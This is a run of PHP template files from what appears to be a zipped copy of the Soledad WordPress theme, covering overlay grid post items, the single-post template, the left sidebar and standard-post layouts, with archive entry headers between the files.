?>
<section class="grid-style grid-overlay">
    <article id="post-<?php the_ID(); ?>" class="item overlay-layout hentry">
        <div class="penci-overlay-over">
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>

                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'penci-full-thumb' ) ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder"
                   href="<?php the_permalink(); ?>" aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'penci-full-thumb' ) ), get_the_title() ); ?>
                </a>

            </div>

            <a class="overlay-border" aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
               href="<?php the_permalink() ?>"></a>

            <div class="overlay-header-box">
				<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
                    <span class="cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>

                <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title overlay-title <?php echo $heading_title_tag_class;?>"><a
                            href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php penci_soledad_meta_schema(); ?>
				<?php if ( ! get_theme_mod( 'penci_grid_author' ) ) : ?>
                    <div class="penci-meta-author overlay-author byline"><span
                                class="author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_written_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span></div>
				<?php endif; ?>
            </div>
        </div>
		<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
		<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_comment' ) || ! get_theme_mod( 'penci_grid_share_box' ) || get_theme_mod( 'penci_grid_countviews' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
            <div class="penci-post-box-meta grid-post-box-meta overlay-post-box-meta">
				<?php do_action( 'penci_grid_meta' ); ?>
				<?php if ( ! get_theme_mod( 'penci_grid_date' ) ) : ?>
                    <div class="overlay-share overlay-style-date"><?php penci_fawesome_icon( 'far fa-clock' ); ?><?php penci_soledad_time_link(); ?></div>
				<?php endif; ?>
				<?php if ( ! get_theme_mod( 'penci_grid_comment' ) ) : ?>
                    <div class="overlay-share overlay-style-comment"><a
                                href="<?php comments_link(); ?> "><?php penci_fawesome_icon( 'far fa-comment' ); ?><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
                    </div>
				<?php endif; ?>

				<?php
				if ( get_theme_mod( 'penci_grid_countviews' ) ) {
					echo '<div class="overlay-share overlay-style-countviews">';
					penci_get_post_countview( get_the_ID() );
					echo '</div>';
				}
				?>
				<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                    <div class="overlay-share overlay-style-readtime"><?php penci_reading_time(); ?></div>
				<?php endif; ?>
				<?php if ( ! get_theme_mod( 'penci_grid_share_box' ) ) : ?>
                    <div class="penci-post-share-box">
						<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
						<?php penci_soledad_social_share(); ?>
                    </div>
				<?php endif; ?>
            </div>
		<?php endif; ?>

    </article>
</section>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'section',
			'classes'    => 'grid-style grid-overlay penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $j ++; ?>
PK     N\ a!  a!  
  single.phpnu [        <?php
/**
 * The Template for displaying all single posts
 *
 * @package Wordpress
 * @since   1.0
 */
get_header();

$single_style = penci_get_single_style();

if ( ! in_array( $single_style, array( 'style-1', 'style-2' ) ) ) {
	get_template_part( 'template-parts/single', $single_style );

	return;
}

$sidebar_enable      = penci_single_sidebar_return();
$sidebar_position    = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

$postID            = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title     = get_the_title( $postID );
$infinite_load     = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id      = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads      = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if ( get_theme_mod( 'penci_loadnp_posts' ) ) {
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if ( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id    = $prev_post->ID;
		$prev_post_url   = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass  = ' penci-single-infiscroll';
		$flag_infi       = 'has_data';
	}
}
?>

<div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) {
	echo ' data-infiads="' . htmlentities( $data_infiads ) . '"';
} ?>>
    <div class="penci-single-block<?php if ( $flag_infi == 'no_data' ) {
		echo ' penci-single-infiblock-end';
	} ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) ): ?>
         data-prev-url="<?php echo esc_url( $prev_post_url ); ?>"
         data-current-url="<?php echo esc_url( $current_permalink ); ?>"
         data-post-title="<?php echo esc_attr( $current_title ); ?>"
         data-edit-post="<?php echo get_edit_post_link( $postID ); ?>"
         data-postid="<?php echo $postID; ?>"<?php endif; ?>>
		<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ( ! get_theme_mod( 'penci_move_breadcrumbs' ) || 'style-2' == $single_style ) ): ?>
			<?php
			$yoast_breadcrumb = $rm_breadcrumb = '';
			if ( function_exists( 'yoast_breadcrumb' ) ) {
				$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb single-breadcrumb">', '</div>', false );
			}

			if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
				$rm_breadcrumb = rank_math_get_breadcrumbs( [
					'wrap_before' => '<div class="container penci-breadcrumb single-breadcrumb"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
					'wrap_after'  => '</nav></div>',
				] );
			}

			if ( $rm_breadcrumb ) {
				echo $rm_breadcrumb;
			} elseif ( $yoast_breadcrumb ) {
				echo $yoast_breadcrumb;
			} else {
				?>
                <div class="container penci-breadcrumb single-breadcrumb">
                    <span><a class="crumb"
                             href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
					<?php
					if ( get_theme_mod( 'enable_pri_cat_yoast_seo' ) ) {
						$primary_term = penci_get_wpseo_primary_term();

						if ( $primary_term ) {
							echo $primary_term;
						} else {
							$penci_cats = get_the_category( get_the_ID() );
							$penci_cat  = array_shift( $penci_cats );
							echo penci_get_category_parents( $penci_cat );
						}
					} else {
						$penci_cats = get_the_category( get_the_ID() );
						$penci_cat  = array_shift( $penci_cats );
						echo penci_get_category_parents( $penci_cat );
					}
					if ( ! get_theme_mod( 'penci_hide_post_title_breadcrumb' ) ) {
						echo '<span>' . get_the_title() . '</span>';
					}
					?>
                </div>
			<?php } ?>
		<?php endif; ?>

		<?php if ( 'style-2' == $single_style ) : ?>
            <div class="penci-single-pheader container container-single<?php if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ): ?> container-single-magazine<?php endif; ?><?php if ( $sidebar_enable ) {
				echo ' ' . esc_attr( $sidebar_position );
			} else {
				echo ' penci_is_nosidebar';
			} ?> container-single-fullwidth hentry">
				<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
					<?php get_template_part( 'content', 'single-full' ); ?>
				<?php endwhile; endif; ?>
            </div>
		<?php endif; ?>

        <div class="container container-single<?php if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ): ?> container-single-magazine<?php endif; ?><?php if ( $sidebar_enable ) { ?> penci_sidebar <?php echo esc_attr( $sidebar_position ); ?><?php } else {
			echo ' penci_is_nosidebar';
		} ?><?php if ( $sidebar_small_width ): ?> penci-single-smaller-width<?php endif; ?><?php if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ): ?> penci-enable-lightbox<?php endif; ?>">
            <div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
                <div class="theiaStickySidebar">

					<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && get_theme_mod( 'penci_move_breadcrumbs' ) && 'style-1' == $single_style ): ?>
						<?php
						$yoast_breadcrumb = $rm_breadcrumb = '';
						if ( function_exists( 'yoast_breadcrumb' ) ) {
							$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside single-breadcrumb">', '</div>', false );
						}

						if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
							$rm_breadcrumb = rank_math_get_breadcrumbs( [
								'wrap_before' => '<div class="container penci-breadcrumb penci-crumb-inside single-breadcrumb"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
								'wrap_after'  => '</nav></div>',
							] );
						}

						if ( $rm_breadcrumb ) {
							echo $rm_breadcrumb;
						} elseif ( $yoast_breadcrumb ) {
							echo $yoast_breadcrumb;
						} else { ?>
                            <div class="container penci-breadcrumb penci-crumb-inside single-breadcrumb">
                                        <span><a class="crumb"
                                                 href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
								<?php
								if ( get_theme_mod( 'enable_pri_cat_yoast_seo' ) ) {
									$primary_term = penci_get_wpseo_primary_term();

									if ( $primary_term ) {
										echo $primary_term;
									} else {
										$penci_cats = get_the_category( get_the_ID() );
										$penci_cat  = array_shift( $penci_cats );
										echo penci_get_category_parents( $penci_cat );
									}
								} else {
									$penci_cats = get_the_category( get_the_ID() );
									$penci_cat  = array_shift( $penci_cats );
									echo penci_get_category_parents( $penci_cat );
								}
								if ( ! get_theme_mod( 'penci_hide_post_title_breadcrumb' ) ) {
									echo '<span>' . get_the_title() . '</span>';
								}
								?>
                            </div>
						<?php } ?>
					<?php endif; ?>

					<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
						<?php /* Count viewed posts */
						penci_set_post_views( $post->ID ); ?>
						<?php get_template_part( 'content', 'single' ); ?>
					<?php endwhile; endif; ?>
                </div>
            </div>
			<?php 
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
				<div data-id="section-sidebar-<?php the_ID();?>" data-url="<?php echo esc_url( add_query_arg(['penci_get_delayed_sections' => 'sidebar'],get_permalink()) );?>" class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
        </div>

		<?php do_action( 'penci_action_after_post_content' ); ?>
    </div>
</div>
<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ) { ?>
    <div class="penci-ldsingle">
        <div class="penci-ldspinner">
            <div class="bounce1"></div>
            <div class="bounce2"></div>
            <div class="bounce3"></div>
        </div>
    </div>
<?php } ?>
<?php get_footer(); ?>
PK     N\H      sidebar-left.phpnu [        <?php
/**
 * Main sidebar of Soledad theme
 * Display all widgets on left sidebar
 *
 * @package Wordpress
 * @since   1.0
 */
$heading_title       = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
$heading_align       = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
$sidebar_style       = get_theme_mod( 'penci_sidebar_style' ) ? get_theme_mod( 'penci_sidebar_style' ) : '';
$sidebar_icon_pos    = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
$sidebar_icon_design = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';

$sidebar_portfolio = get_theme_mod( 'penci_sidebar_left_single_portfolio' );
if ( ! isset( $sidebar_portfolio ) || empty( $sidebar_portfolio ) ): $sidebar_portfolio = 'main-sidebar-left'; endif;
$sidebar_default = 'main-sidebar-left';
if ( ! is_active_sidebar( $sidebar_default ) ) {
	$sidebar_default = 'main-sidebar';
}
$sidebar_home = get_theme_mod( 'penci_sidebar_left_name_home' );
if ( ! isset( $sidebar_home ) || empty( $sidebar_home ) ): $sidebar_home = $sidebar_default; endif;

$sidebar_category = get_theme_mod( 'penci_sidebar_left_name_category' );
if ( ! isset( $sidebar_category ) || empty( $sidebar_category ) ): $sidebar_category = $sidebar_default; endif;

$sidebar_single = get_theme_mod( 'penci_sidebar_left_name_single' );
if ( ! isset( $sidebar_single ) || empty( $sidebar_single ) ): $sidebar_single = $sidebar_default; endif;

$sidebar_pages = get_theme_mod( 'penci_sidebar_left_name_pages' );
if ( ! isset( $sidebar_pages ) || empty( $sidebar_pages ) ): $sidebar_pages = $sidebar_default; endif;

if ( is_home() || is_front_page() ) {
	$show_on_front = get_option( 'show_on_front' );
	if ( 'page' == $show_on_front ) {
		$custom_sidebar_pages = get_post_meta( get_the_ID(), 'penci_custom_sidebar_left_page_field', true );
		if ( $custom_sidebar_pages ): $sidebar_pages = $custom_sidebar_pages; endif;
	}
} elseif ( is_page() ) {
	$custom_sidebar_pages = get_post_meta( get_the_ID(), 'penci_custom_sidebar_left_page_field', true );
	if ( $custom_sidebar_pages ): $sidebar_pages = $custom_sidebar_pages; endif;
} elseif ( is_single() ) {
	$custom_sidebar_post = get_post_meta( get_the_ID(), 'penci_custom_sidebar_left_page_field', true );
	if ( $custom_sidebar_post ): $sidebar_single = $custom_sidebar_post; endif;

	$priid = penci_get_post_pri_cat();
	if ( $priid ) {
		$cat_options = get_option( "category_$priid" );
		$override = isset( $cat_options['cat_sidebar_single'] ) ? $cat_options['cat_sidebar_single'] : '';
		if ( $override ) {
			$cat_sidebar = isset( $cat_options['cat_sidebar_left'] ) ? $cat_options['cat_sidebar_left'] : '';
			if ( $cat_sidebar ): $sidebar_single = $cat_sidebar; endif;
		}
	}

} elseif ( is_category() ) {
	$category_oj = get_queried_object();
	$fea_cat_id  = $category_oj->term_id;
	$cat_meta    = get_option( "category_$fea_cat_id" );
	$cat_sidebar = isset( $cat_meta['cat_sidebar_left'] ) ? $cat_meta['cat_sidebar_left'] : '';
	if ( $cat_sidebar ): $sidebar_category = $cat_sidebar; endif;
}
$product_sidebar = 'penci-shop-single';
?>

<div id="sidebar"
     class="penci-sidebar-left penci-sidebar-content <?php echo esc_attr( $heading_title . ' ' . $heading_align . ' ' . $sidebar_style . ' ' . $sidebar_icon_pos . ' ' . $sidebar_icon_design ); ?><?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): echo ' penci-sticky-sidebar'; endif; ?>">
    <div class="theiaStickySidebar">
		<?php /* Display sidebar */
		if ( ! wp_is_mobile() && is_singular( 'portfolio' ) && function_exists( 'portfolio_meta_content' ) && isset( $GLOBALS['left-sidebar'] ) ) {
			portfolio_meta_content( $GLOBALS['share_style'], ! $GLOBALS['share_box'] );
		}
		if ( is_singular( 'portfolio' ) && is_active_sidebar( $sidebar_portfolio ) ) {
			dynamic_sidebar( $sidebar_portfolio );
		} else if ( function_exists( 'is_shop' ) && function_exists( 'is_product_category' ) && function_exists( 'is_product_tag' ) && function_exists( 'is_product' ) ) {
			if ( ( is_shop() || is_product_category() || is_product_tag() ) && is_active_sidebar( 'penci-shop-sidebar' ) ) {
				dynamic_sidebar( 'penci-shop-sidebar' );
			} else if ( is_product() && is_active_sidebar( $product_sidebar ) ) {
				dynamic_sidebar( $product_sidebar );
			} else {
				if ( ( is_home() || is_front_page() ) ) {
					$show_on_front = get_option( 'show_on_front' );
					if ( 'page' == $show_on_front && is_active_sidebar( $sidebar_pages ) ) {
						dynamic_sidebar( $sidebar_pages );
					} elseif ( is_active_sidebar( $sidebar_home ) ) {
						dynamic_sidebar( $sidebar_home );
					}
				} else if ( is_category() && is_active_sidebar( $sidebar_category ) ) {
					dynamic_sidebar( $sidebar_category );
				} else if ( is_single() && is_active_sidebar( $sidebar_single ) ) {
					dynamic_sidebar( $sidebar_single );
				} else if ( is_page() && is_active_sidebar( $sidebar_pages ) ) {
					dynamic_sidebar( $sidebar_pages );
				} else {
					dynamic_sidebar( $sidebar_default );
				}
			}
		} else if ( ( is_home() || is_front_page() ) ) {
			$show_on_front = get_option( 'show_on_front' );
			if ( 'page' == $show_on_front && is_active_sidebar( $sidebar_pages ) ) {
				dynamic_sidebar( $sidebar_pages );
			} elseif ( is_active_sidebar( $sidebar_home ) ) {
				dynamic_sidebar( $sidebar_home );
			}
		} else if ( is_category() && is_active_sidebar( $sidebar_category ) ) {
			dynamic_sidebar( $sidebar_category );
		} else if ( is_single() && is_active_sidebar( $sidebar_single ) ) {
			dynamic_sidebar( $sidebar_single );
		} else if ( is_page() && is_active_sidebar( $sidebar_pages ) ) {
			dynamic_sidebar( $sidebar_pages );
		} else {
			dynamic_sidebar( $sidebar_default );
		}
		?>
    </div>
</div>
PK     N\4r^      content-standard-grid-2.phpnu [        <?php
/**
 * Template loop for 1st standard then grid 2
 */


/**
 * Create var $jj to count order posts
 * If $jj = 1, to show standard post, $jj > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $jj ) ) { $jj = 1; } else { $jj = $jj; }

if ( $jj == 1 ) {
	//get_template_part( 'content', 'standard' );
	include( locate_template( 'content-standard.php' ) );
}
else {
	include( locate_template( 'content-grid-2.php' ) );
}

$jj++;
?>

PK     N\ePF  PF    content-standard.phpnu [        <?php
/**
 * Content standard homepage, archive page
 *
 * @since 1.0
 */
if ( ! isset( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$post_id = get_the_ID();
$block_style   = get_theme_mod( 'penci_blockquote_style' ) ? get_theme_mod( 'penci_blockquote_style' ) : 'style-1';
$heading_style = penci_get_heading_style();

$post_class     = get_post_class( '', get_the_ID() );
$standard_class = 'standard-article standard-pitem ' . esc_attr( implode( ' ', $post_class ) );

$thumb_alt = $thumb_title_html = '';
if ( has_post_thumbnail() ) {
	$thumb_id         = get_post_thumbnail_id( get_the_ID() );
	$thumb_alt        = penci_get_image_alt( $thumb_id, get_the_ID() );
	$thumb_title_html = penci_get_image_title( $thumb_id );
}
$heading_title_tag = get_theme_mod( 'penci_standard_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'pc_titlebig_standard_df' : 'pc_titlebig_standard';
?>
<article id="post-<?php the_ID(); ?>" class="<?php echo $standard_class; ?>">

	<?php if ( ! get_theme_mod( 'penci_standard_thumbnail' ) ) : ?>

		<?php if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
            <div class="standard-post-image standard-post-special
			<?php
			if ( penci_get_post_format( 'quote' ) ) :
				?>
				penci-special-format-quote<?php endif; ?>
											<?php
			if ( ! has_post_thumbnail() || get_theme_mod( 'penci_standard_thumbnail' ) ) :
				echo ' no-thumbnail';
			endif;
			?>
">
				<?php if ( has_post_thumbnail() && ! get_theme_mod( 'penci_standard_thumbnail' ) ) : ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a
							<?php
							if ( get_theme_mod( 'penci_standard_thumb_crop' ) ) :
								?>
                                class="penci-image-holder penci-lazy" data-bgset="<?php echo penci_image_srcset( get_the_ID(), 'penci-full-thumb' ); ?>"<?php endif; ?>
                                href="<?php the_permalink(); ?>">
							<?php
							if ( ! get_theme_mod( 'penci_standard_thumb_crop' ) ) :
								?>
                                <img
                                class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image"
                                width="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w' ); ?>"
                                height="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h' ); ?>"
                                src="<?php echo penci_holder_image_base( penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w', false ), penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h', false ) ); ?>" alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"><?php endif; ?>
                        </a>
					<?php } else { ?>
                        <a
							<?php
							if ( get_theme_mod( 'penci_standard_thumb_crop' ) ) :
								?>
                                class="penci-image-holder" style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>');"<?php endif; ?>
                                href="<?php the_permalink(); ?>">
							<?php
							if ( ! get_theme_mod( 'penci_standard_thumb_crop' ) ) :
								?>
								<?php the_post_thumbnail( 'penci-full-thumb' ); ?><?php endif; ?>
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="standard-content-special">
					<?php
					if ( penci_get_post_format( 'quote' ) ) :
					?>
                    <a href="<?php the_permalink(); ?>"><?php endif; ?>
                        <div class="format-post-box
						<?php
						if ( penci_get_post_format( 'quote' ) ) {
							echo ' penci-format-quote';
						} else {
							echo ' penci-format-link';
						}
						?>
						">
                            <span class="post-format-icon"><?php penci_fawesome_icon( 'fa fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                            <p class="dt-special">
								<?php
								if ( penci_get_post_format( 'quote' ) ) {
									$dt_content = get_post_meta( get_the_ID(), '_format_quote_source_name', true );
									if ( ! empty( $dt_content ) ) :
										echo sanitize_text_field( $dt_content );
									endif;
								} else {
									$dt_content = get_post_meta( get_the_ID(), '_format_link_url', true );
									if ( ! empty( $dt_content ) ) :
										echo '<a href="' . esc_url( get_permalink() ) . '">' . sanitize_text_field( $dt_content ) . '</a>';
									endif;
								}
								?>
                            </p>
							<?php
							if ( penci_get_post_format( 'quote' ) ) :
								$quote_author = get_post_meta( get_the_ID(), '_format_quote_source_url', true );
								if ( ! empty( $quote_author ) ) :
									echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
								endif;
							endif;
							?>
                        </div>
						<?php
						if ( penci_get_post_format( 'quote' ) ) :
						?>
                    </a><?php endif; ?>
                </div>
            </div>

		<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>

			<?php
			if ( $images ) :
				$autoplay = ! get_theme_mod( 'penci_standard_disable_autoplay_gallery' ) ? 'true' : 'false';
				?>
                <div class="standard-post-image">
					<?php do_action( 'penci_bookmark_post' ); ?>
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"
                         data-auto="<?php echo $autoplay; ?>">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>

                                <div class="swiper-slide swiper-mark-item">

									<?php $the_image = wp_get_attachment_image_src( $image, 'penci-full-thumb' ); ?>
									<?php
									$the_caption      = get_post_field( 'post_excerpt', $image );
									$image_alt        = penci_get_image_alt( $image, get_the_ID() );
									$image_title_html = penci_get_image_title( $image );
									?>
                                    <figure class="penci-swiper-mask item-link-relative penci-gallery-images"
                                            alt="<?php the_title(); ?>"
										<?php
										if ( $the_caption ) :
											?>
                                            title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
										<?php echo penci_get_ratio_img_format_gallery( $the_image ); ?>
                                        <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                             width="<?php echo $the_image[1]; ?>"
                                             height="<?php echo $the_image[2]; ?>"
                                             alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?>>
                                    </figure>
                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( penci_get_post_format( 'video' ) ) : ?>

            <div class="standard-post-image video-post">
				<?php $penci_video = get_post_meta( get_the_ID(), '_format_video_embed', true ); ?>
				<?php if ( wp_oembed_get( $penci_video ) ) : ?>
					<?php echo wp_oembed_get( $penci_video ); ?>
				<?php else : ?>
					<?php echo $penci_video; ?>
				<?php endif; ?>
            </div>

		<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>

            <div class="standard-post-image audio
			<?php
			if ( ! has_post_thumbnail() ) :
				echo ' no-thumbnail';
			endif;
			?>
			">
				<?php if ( has_post_thumbnail() ) : ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a
							<?php
							if ( get_theme_mod( 'penci_standard_thumb_crop' ) ) :
								?>
                                class="penci-image-holder penci-lazy" data-bgset="<?php echo penci_image_srcset( get_the_ID(), 'penci-full-thumb' ); ?>"<?php endif; ?>
                                href="<?php the_permalink(); ?>">
							<?php
							if ( ! get_theme_mod( 'penci_standard_thumb_crop' ) ) :
								?>
                                <img
                                class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image"
                                width="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w' ); ?>"
                                height="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h' ); ?>"
                                src="<?php echo penci_holder_image_base( penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w', false ), penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h', false ) ); ?>" alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"><?php endif; ?>
                        </a>
					<?php } else { ?>
                        <a
							<?php
							if ( get_theme_mod( 'penci_standard_thumb_crop' ) ) :
								?>
                                class="penci-image-holder" style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>');"<?php endif; ?>
                                href="<?php the_permalink(); ?>">
							<?php
							if ( ! get_theme_mod( 'penci_standard_thumb_crop' ) ) :
								?>
								<?php the_post_thumbnail( 'penci-full-thumb' ); ?><?php endif; ?>
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="audio-iframe">
					<?php
					$penci_audio     = get_post_meta( get_the_ID(), '_format_audio_embed', true );
					$penci_audio_str = substr( $penci_audio, - 4 );
					?>
					<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
						<?php echo wp_oembed_get( $penci_audio ); ?>
					<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
						<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
					<?php else : ?>
						<?php echo $penci_audio; ?>
					<?php endif; ?>
                </div>
            </div>

		<?php else : ?>

			<?php if ( has_post_thumbnail() ) : ?>
                <div class="standard-post-image">
					<?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a
							<?php
							if ( get_theme_mod( 'penci_standard_thumb_crop' ) ) :
								?>
                                class="penci-image-holder penci-lazy" data-bgset="<?php echo penci_image_srcset( get_the_ID(), 'penci-full-thumb' ); ?>"<?php endif; ?>
                                href="<?php the_permalink(); ?>">
							<?php
							if ( ! get_theme_mod( 'penci_standard_thumb_crop' ) ) :
								?>
                                <img
                                class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image"
                                width="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w' ); ?>"
                                height="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h' ); ?>"
                                src="<?php echo penci_holder_image_base( penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w', false ), penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h', false ) ); ?>" alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"><?php endif; ?>
                        </a>
					<?php } else { ?>
                        <a
							<?php
							if ( get_theme_mod( 'penci_standard_thumb_crop' ) ) :
								?>
                                class="penci-image-holder" style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>');"<?php endif; ?>
                                href="<?php the_permalink(); ?>">
							<?php
							if ( ! get_theme_mod( 'penci_standard_thumb_crop' ) ) :
								?>
								<?php the_post_thumbnail( 'penci-full-thumb' ); ?><?php endif; ?>
                        </a>
					<?php } ?>
                </div>
			<?php endif; ?>

		<?php endif; /* End Thumbnail */ ?>
	<?php endif; ?>

    <div class="header-standard
	<?php
	if ( get_theme_mod( 'penci_standard_meta_overlay' ) ) :
		echo ' standard-overlay-meta';
	endif;
	?>
	">
		<?php if ( ! get_theme_mod( 'penci_standard_cat' ) ) : ?>
            <div class="penci-standard-cat"><span class="cat"><?php penci_category( '' ); ?></span></div>
		<?php endif; ?>

